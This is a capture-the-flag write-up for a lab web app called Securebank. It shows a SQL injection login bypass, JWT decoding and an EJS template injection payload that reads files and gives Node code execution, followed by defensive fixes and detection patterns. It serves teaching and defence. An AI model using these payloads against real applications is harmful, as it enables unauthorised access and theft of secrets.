CTF Writeup

Securebank — CTF Writeup

Platform: Perfect Root (AfricaHackon) **Room:** Securebank **Author:** Khakai **Difficulty:** Easy **Points:** 100 **Category:** Web Exploitation + Cryptography **Result:** Solved (1/1 flag captured)

Description

> Part 1 is about web exploit, find the flag. Part 2 is about cryptography, find the key.

Target: `http://securebank-8569.labs.perfectroot.io` Stack: Node.js / Express behind nginx, JWT-based auth, EJS templating.

Flag

`r00t{ch41n1ng_vuln3r4b1l1t13s_l1k3_4_pr0_8f2a9c4e}`

Vulnerability Chain

Three issues chained into full compromise:

1. **SQL Injection** in `/api/login` — auth bypass without credentials.
2. **Broken access control / exposed JWT** — role field trusted client-side.
3. **Server-Side Template Injection (SSTI)** in `/api/report` (EJS) — arbitrary file read and command execution from the admin panel.

Recon

- HTTP only (443 refused). App runs as Express behind nginx.
- `/` = login page with JS `fetch('/api/login')` → token in `localStorage`.
- Footer hint: *"Legacy auth system migration in progress"* (foreshadows leftover endpoints).
- Directory brute-force found `/admin` and `/dashboard` (403) plus `/api/config` (200).

Step 1 — SQL Injection on Login

The login endpoint posts JSON:

```
POST /api/login
Content-Type: application/json

{"username":"admin'--","password":"x"}
```

Server response:

```
{"success":true,"token":"eyJhbGciOiJIUzI1NiIs...","message":"Login successful"}
```

The `--` comment truncated the password check, authenticating as admin.

Step 2 — Decode the JWT

```
echo "$TOKEN" | cut -d. -f2 | base64 -d
{"id":1,"username":"admin","role":"admin","iat":...,"exp":...}
```

HS256-signed. The `role` claim is entirely server-asserted — a tampered token with the right secret would let an attacker become admin. This is the cryptography half of the challenge.

Step 3 — Admin Panel → SSTI (EJS)

The `/admin` page loads a report generator that POSTs a user-supplied template to `/api/report`, which renders it with EJS server-side:

```
POST /api/report
Authorization: Bearer <admin token>
{"template":"<%= 7*7 %>"}
→ {"report":"49"}      # SSTI confirmed
```

EJS SSTI gives direct access to Node's `process` and `require`.

Step 4 — Read the Flag

Enumerated env:

```
{"template":"<%= JSON.stringify(process.env) %>"}
→ {"FLAG_FILE":"/flag/flag.txt", ...}
```

Read the file (default `require` was sandboxed, `global.process.mainModule` bypasses it):

```
{"template":"<%= global.process.mainModule.require(\"fs\").readFileSync(\"/flag/flag.txt\",\"utf8\") %>
→ r00t{ch41n1ng_vuln3r4b1l1t13s_l1k3_4_pr0_8f2a9c4e}
```

Real-World Impact — Why This Matters

Each issue alone is serious. Chained, they represent a complete app takeover.

SQL Injection on auth

- Attackers bypass login without any credentials, log in as any user, or dump the user table.
- Common in legacy code using string concatenation instead of prepared statements. The `--` trick works whenever the query is built as: SELECT * FROM users WHERE username = '' AND password = ''

Client-trusted roles / weak JWT handling

- If the secret is weak or leaked, anyone can forge an admin token.
- Common in real apps: HS256 with a short secret (`secret`, `password`, company name), or shared across dev/prod.

SSTI in EJS

- EJS is *not* a sandbox. Once user input reaches `<%= ... %>`, the attacker has full Node execution: read files, spawn processes, exfiltrate env vars and secrets, pivot to internal services.
- Very common mistake: "report template," "invoice template," "email template" features that let users inject markup.

The chain

An unauthenticated attacker can: 1. SQLi → admin token 2. Admin panel → SSTI 3. SSTI → read any file, run any command, steal every secret

That is remote code execution from the public internet. In a real bank app this is a full breach: customer PII, transaction manipulation, credential theft, internal network access.

How It Would Happen Step-by-Step in a Real App

1. **Legacy code never refactored.** The auth handler was written before ORMs were adopted and still string-concatenates SQL.
2. **JWT secret set once and forgotten.** Rotated never, weak, or default. No `alg` allowlist, so `alg:none` or weak-HS256 attacks work.
3. **Feature creep.** A "generate report" feature is added for admins. The devs use EJS because it's already in the stack, and pass user input straight into `ejs.render()` without a sandbox.
4. **No auth hardening.** Admin routes are checked by JWT only — no MFA, no IP allowlist, no rate limit. Once the token is forged, /admin is open.
5. **No egress restrictions.** The container has filesystem access to `/flag` (or in real life `/etc/secrets`, env vars, cloud metadata).

Fixes (Defensive)

- **Use parameterized queries** everywhere. Never concatenate user input into SQL.
- **JWT:** strong random secret (32+ bytes), rotate it, pin the algorithm (`algorithms: ["HS256"]`), verify `exp` and `aud`, never trust a user-supplied role claim — look it up server-side.
- **Never render user templates with EJS/Handlebars directly.** If reports must be templated, use a sandboxed renderer, an allowlist of fields, or generate server-side from structured data.
- **Defense in depth:** run the app as a non-root user in a locked-down container, mount secrets read-only, restrict filesystem paths, block outbound network access from app containers.
- **Detection:** alert on `--`, `UNION`, `OR 1=1` in request bodies; alert on `<%` in fields that shouldn't contain code.

Key Takeaways

- Individual "easy" bugs chain into critical impact. The flag literally encodes the lesson: *"chaining vulnerabilities like a pro."*
- SSTI is RCE. Any feature that lets users supply a template is a code-execution surface unless sandboxed.
- Client-asserted roles (JWT payloads, cookies) are a design smell — authorization belongs on the server.

Tools Used

curl, feroxbuster, wapiti (initial recon), hashcat, pyjwt, base64